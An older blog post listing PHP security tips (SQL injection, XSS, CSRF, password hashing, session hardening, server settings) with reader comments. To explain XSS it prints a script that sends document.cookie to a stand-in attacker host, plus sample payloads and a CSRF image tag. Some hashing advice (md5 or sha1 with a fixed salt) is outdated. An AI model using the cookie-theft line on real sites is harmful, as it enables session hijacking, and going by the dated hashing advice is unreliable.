15+ tips to secure your php application

115 Flares Filament.io 115 Flares ×

Php is used to write web applications which are online and publicly accessible. Therefore security is a fundamental necessity of these applications to keep the data safe and free from unauthorized access.

Below are a bunch of simple tips/hacks/ideas to design your php applications to have better security.

The Code

1. Avoid short tags

If they are disabled on some server , then all of a sudden the whole php code will be displayed even before you are informed about it.

<?
$a = 5;
?>

This will run fine when short codes are enabled, but when not, the whole code will be dumped to the browser.
As of php 5.4 the short echo tags (

Also enable short tags on your server.

2. Validate all user input

All input coming from the user , in the form of POST and GET must be validated to be acceptable by the application logic.

  • Check the 'type' of the data
  • Check range of numbers
  • Check length of strings
  • Check emails , urls , dates to be valid
  • Ensure that data does not contain unallowed characters.

Few functions to filter/validate data :

htmlentities()
strip_tags ()
utf8_decode ()
htmlspecialchars()
ctype_digit()
ctype_alnum()
stripslashes()
str_replace()

3. Escape query data

Escape all data that goes inside a query and for the better avoid direct sql queries in your application.
Use somekind of abstraction like activerecord etc.

One small sql injection vulnerability is enough to allow a hacker to completely take over the system. Tools like sqlmap take only a few minutes to this. So if there is even a single page with a sql injection vulnerability in the whole site for example

http://www.site.com/path/page.php?id=5

where the id is being used in an sql query and is not escaped, this is a door big enough to allow a hacker to do anything on your system. So be very aware of sql queries and ensure everything is secure.

This is how a vulnerable sql query looks like

$id = $_GET['id'];
$this->db->query("SELECT * FROM pages WHERE id = '$id'");

The id parameter should be escaped by using appropriate functions like mysqli_real_escape_string() before putting them in the query.

4. Cross site scripting

Cross site scripting allows a hacker to inject client-side code in a webpage. For example take the url







search.php?term=ipad

And that the php code for the script is

<?php

$term = $_GET['term'];

?>
...
Search results for : <?php echo $term; ?>
...

The above piece of code looks quite OK except that the user input in $term is being echoed directly back.
Consider the url

search.php?term=<script>alert('hi');</script>

The script tag will be echoed in the body and the code in it would be executed. Ofcourse its a clientside problem and the code is executed in the user's browser, but still this kind of vulnerability has all the potential a hacker would look for.

Recent versions of Google Chrome would block it saying "Refused to execute a JavaScript script. Source code of script found within request." Firefox still executes it.

XSS is mostly used to inject javascript code to steal cookies of legitimate users who are logged in. The hacker can first inject a complete script like this

<script type=text/javascript src="http://www.hacker_website.com/xss.js"></script>

Now the xss.js can have the following piece of code to take away value of the document.cookie variable and send it to hacker_website.com

document.location = 'http://www.hacker_website.com/steal.php?cookies=' + encodeURI(document.cookie);

This is just a basic idea of how it works. Check the xss cheatsheet for a list of different techniques that can be used.

Fix XSS

Whenever echoing user input of any kind, use htmlentities to convert all html characters to corresponding html entities.

<?php
$term = $_GET['term'];
?>
...
Search results for : <?php echo htmlentities($term); ?>
...

Now whatever will be echoed from $term would not have any html code.
Other functions like strip_tags and htmlspecialchars can also be used to clean the input data.

session.cookie_httponly

This php.ini setting specifies the 'HttpOnly' flag in the Set-Cookie field of the http headears. By specifying the HttpOnly flag, we instruct the browser to not expose the cookie to client side scripting language like javascript and use it only for the http communication.

session.cookie_httponly = 1

As of now, all modern browsers support this option and hence it is a quick way to protect the cookies. It would make harder for an attacker to steal the cookie and hijack the session.

5. Always name your file as only .php

Although this is a not very significant to mention point, but still there have been instances of this particular security flaw.

Ensure that all php code files have the extension ".php"
Lets say the database credentials are stored in a separate configuration file and that the file has been named as 'config.inc'.

<?php

/*
Database connection details
*/

$db_host = 'localhost';
$db_user = 'project';
$db_pass = 'secret';
$db_name = 'project_ecommerce';

Now if this file is opened in the browser, the contents will be displayed right away.
Hence never name your files to anything else except .php

6. Salt the passwords and use stronger encryption like bcrypt

Md5 is a very popular encryption algorithm/function being used by php developers. The md5 function gives the hash rightaway.

$hash = md5($password);

However md5 is not a fully secure way to store passwords. Most users tend to keep a 5-8 character password, and whatever be the complexity of such a password, it can be easily cracked by just bruteforcing on a normal computer/pc.

Moreover even bruteforcing might not be necessary, just typing the hash on google.com would reveal the password on some password cracking/rainbow table website. Although users are repeatedly told to keep a strong password its not enough.

To overcome this problem developers often use "salt". The add some more text to the password before hashing it and then do the same when comparing user provided password.


$salt = 'SUPER_SALTY';
$hash = md5($password . $salt);

Adding a salt increases the length of the password, and hence its complexity. So the time required for a brute force program to crack it increase by a huge span.

Along with salt, its a good practice to use a longer(slower) hash algorithm like sha1, sha2 etc. The slower the hashing algorithm, more the time required by a brute force program and hence better the strength.

Bcrypt encryption is even more complex than the sha algorithm and considered more secure. Check the php crypt function.

7. Protect against CSRF

CSRF stands for Cross Site Request Forgery. In this attack a hacker makes a legitimate user do an action on the target web application, without the user being aware at all that he is doing something on the target website.

Lets say a certain url in the application performs some database changes

update_info.php?id=123
delete_record.php?id=123

The problem with the above url is that, what if a hacker makes a legitimate user call such a url without the user actually noticing it.

A hacker can setup a webpage with the following piece of code

<img src="http://www.original-application.com/delete_record.php?id=123" />

And now ask the user to open this webpage. Now since the user is logged into the application the url will be triggered and whatever action necessary would be taken by the script.

So basically a hacker has made the request through the user. This is "request forgery".

So technically speaking the problem here is that the server is not able to identify if the user willingly called the url or not. Hence there needs to be a mechanism for this.

A simple way to verify this is by asking the user for double confirmation when doing important tasks.

A more robust and generic solution is to enable the server to identify each request with a key/random value. Forms can contain a hidden input field with a random value that was generated and saved in the session to identify this form submission.

Now if a hacker tries to forge a request he would run out of the csrf key/token and his attempt to perform the request on behalf of the actual user would fail. Only if the user actually loads a url/page with his own wish, would it contain the csrf protection key and then if the user makes the request, would the task be really executed.

Securing the Session

8. Regenerate Session ID

It is a good idea to regenerate the session id at specific events or intervals. It might help if the earlier session id was hacked.

To regenerate the session id use the following function

session_regenerate_id(); //changes only session id
//or
session_regenerate_id(true);

The session id should be regenerated atleast when authentication levels change, for example when

  • a user logs in
  • a user logs out
  • a user gets administrative access or change of privilege happens.
if(valid_username() and valid_password())
{
    $_SESSION['logged'] = true;
    $_SESSION['username'] = $username;
}

You may even want to regenerate session id every 15 minutes or every 100 requests ?


session_start();

//increment and check
if ( ++$_SESSION['regenerated_count'] > 100 ) 
{
    //reset and regenerate
    $_SESSION['regenerated_count'] = 0;
    session_regenerate_id(true);
}

9. Lock the user agent during a session

This can help prevent session hijacking. It is simply about checking if the user agent of a user changed or not. If it did , then logout the user and ask to login again. First save the user agent signature when the user logs in. Then on every request compare the current user agent with the old user agent.


//Function to check if user is logged in or not
function check_login_status()
{
    if($_SESSION['logged'] == true and $_SESSION['old_user_agent'] == $_SERVER['HTTP_USER_AGENT'])
    {
        return true;
    }
    
    return false;
}

if(!check_login_status())
{
    logout();
}

//Rest of the login protected page

A better comparison string would be a hash of various user agent details.

$user_agent = md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); 

If the value of this hash ever changes, logout the user and make him login again. This is a practical approach and should be implemented as a standard practise in any web application.

Lock the IP of a session

If even stronger security is required, then the user's ip address can be locked as well during a session. Just add it to the user_agent hash so that it gets used in the comparison.

$user_agent = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']); 

10. Store sessions in database

By default sessions are stored in files. Many applications are hosted on shared hosting environments where the session files are saved to /tmp directory. Now this directory may be readable to other users. If unencrypted the session information will be plain text in the file :

userName|s:5:"ngood";accountNumber|s:9:"123456789";

There are many workarounds for this. Encrypt the session information with suhosin. Check out the Features.

Store sessions in database. Sessions stored inside database are not visible like files. They are only available to the application using it.

11. Force single session

If needed , make sure that a user is not logged in from 2 locations at a time. If another login takes place , then logout the previous login. This is useful on websites that exchange confidential data , for example an online shopping website.

This is easy to implemented when sessions are saved in database. Simply delete any previous login record of a username on every login.

The Setup

12. Configure the database user with care

Make sure the database user does not have privileges to execute command or write to local filesystem. If there is an sql injection vulnerability somewhere in the website and the database user has write privileges, then this is sufficient for a hacker to take over the server completely just by using simple tool like sqlmap.

So the permissions of the database user should be set according to needs. It is a good idea to have a separate user for use by the web application that has only the minimal required privileges on the database system. Or have separate database users for viewing and modifying the database.

13. Disable directory content listing

Using htaccess

Putting the following the .htaccess file shall disable directory listing.

Options -Indexes

Using index.html

If the server does not allow this, then the easiest way is to put a dummy index.html file in all directories.
So that when directory path is accessed, the index.html will open up.

14. Keep resources outside WEB_ROOT

When hosting applications on a server , the path is generally like this :

/var/www/
OR
/home/username/www/

All web content is kept inside www , then only it is accessible on a website. But those contents which are not meant to be directly accessible from a url , can be kept outside the /www.

For example uploaded images , or resource files , or files containing database connection parameters or anything.

php files to be called by browser in
/var/www/

Other resource files in
/var/outside/

By doing this the files automatically become invisible to outside world even if directory listing is enabled.

Upload files to a location outside webroot

Applications that allow users to upload files can put the uploaded files in a location that is outside the web root. This can help in a situation of arbitrary file upload. If a hacker were to find such a vulnerability he would try to upload a shell script and execute it by triggering from the browser. Now if the file is outside the web root, then even if the hacker would know the path to the file, it would be harder for him to execute the shell.

15. Disable display_errors in your php.ini file

Do not wait to turn off display_errors in your php script using ini_set or htaccess or anything similar.
Compilation errors that occur before execution of the script starts will not obey any script rules and would be displayed right away. Hence display of errors should be disabled right in the php.ini file in production environment.

16. Setup correct directory permissions in the production environment

Directories should have proper permissions with regard to the need of being writable or not. Keep a separate directory for temp files, cache files and other resource files and mark them writable as needed. Everything else like the directory containing core application code, library files etc should be unwritable.

Also directories (like temp) which can contain resource files, or files with other information should be guarded well and be totally inaccessible to the outside web. Use htaccess to block all access to such directories

deny from all

Resources

1. http://phpsec.org/projects/guide/
2. http://en.wikipedia.org/wiki/Session_fixation
3. http://www.slideshare.net/jikbal/web-application-security-with-php
4. http://www.sk89q.com/2010/04/printable-php-security-checklist/

Detailed tutorial on HttpOnly at Owasp
https://www.owasp.org/index.php/HttpOnly

Check out the following blog post for more tips on improving security of php and apache
http://simonholywell.com/post/2013/04/three-things-i-set-on-new-servers.html

Last Updated On : 27th May 2013

Subscribe to get updates delivered to your inbox

About Silver Moon

Php developer, blogger and Linux enthusiast. He can be reached at m00n.silv3r@gmail.com. Or find him on

  • http://www.themesrefinery.com/ Themesrefinery

    in my opinion nothing is secure on internet like web application.Php is not a full secure language but we can make it secure with the help of frameworks like laravel,Zend etc.

  • za_al

    Hi
    tanks very useful informations. I add some other issue:

    1-md5 is weak encrypt.use sha1().

    2-just use ssl for avoide spoofing sensetive data.(https:// insted http://).dont use ssl just for login page.use ssl for all page.

    3-Why File Upload Forms are a Major Security Threat. good link:
    http://www.acunetix.com/websitesecurity/upload-forms-threat/

    4-test yor application by some tools.for example acunetix(http://www.acunetix.com)

    5-also good intruduce vulnerability in https://www.owasp.org/

    regard

    • Silver Moon

      thanks for the useful tips.

  • http://blog.chrisdlangton.com/ Chris Langton

    Avoid short tags <– not a security concern…

    Validate all user input <– fails to provide examples…

    Cross site scripting <– gives no mention to where it is required and how to make it safe, just says its bad and to prevent it…
    Always name your file as only .php <– what! lol how is that security?

    SUPER_SALTY <– obscurity not security… with or without is the same security wise…

    Protect against CSRF <– using a hidden input token is not secure, its shown in the source! instead use $_SESSION to prevent CSRF.

    The Session <– articles explains what it is not how its a security threat or offer any examples of preventing security risks…

    Store sessions in database <– explained the threat is that the session is stored on the server but so is the database… instead use your .htaccess to prevent casual browsing to the files location.

    Force single session <–redundant unless you also find a way to prevent multiple tabs on the same session.

    There were some good tips but overall this article should be taken with a grain of salt, there are many better written and comprehensive articles available on securing your PHP application.

  • http://xtremenews.info pl4g4

    very google article.

  • SRG

    Really a good Article. Hats off to u…

  • http://www.itoctopus.com itoctopus

    Making “short tags” and “ASP tags” a setting in the PHP instead of either not processing it at all or processing it all the time was not a wise decision at all by the PHP developers.

    This decision leads to many security issues especially for sites taking advantages of the above features.

115 Flares Twitter 54 Facebook 0 Google+ 59 LinkedIn 0 StumbleUpon 2 Filament.io 115 Flares ×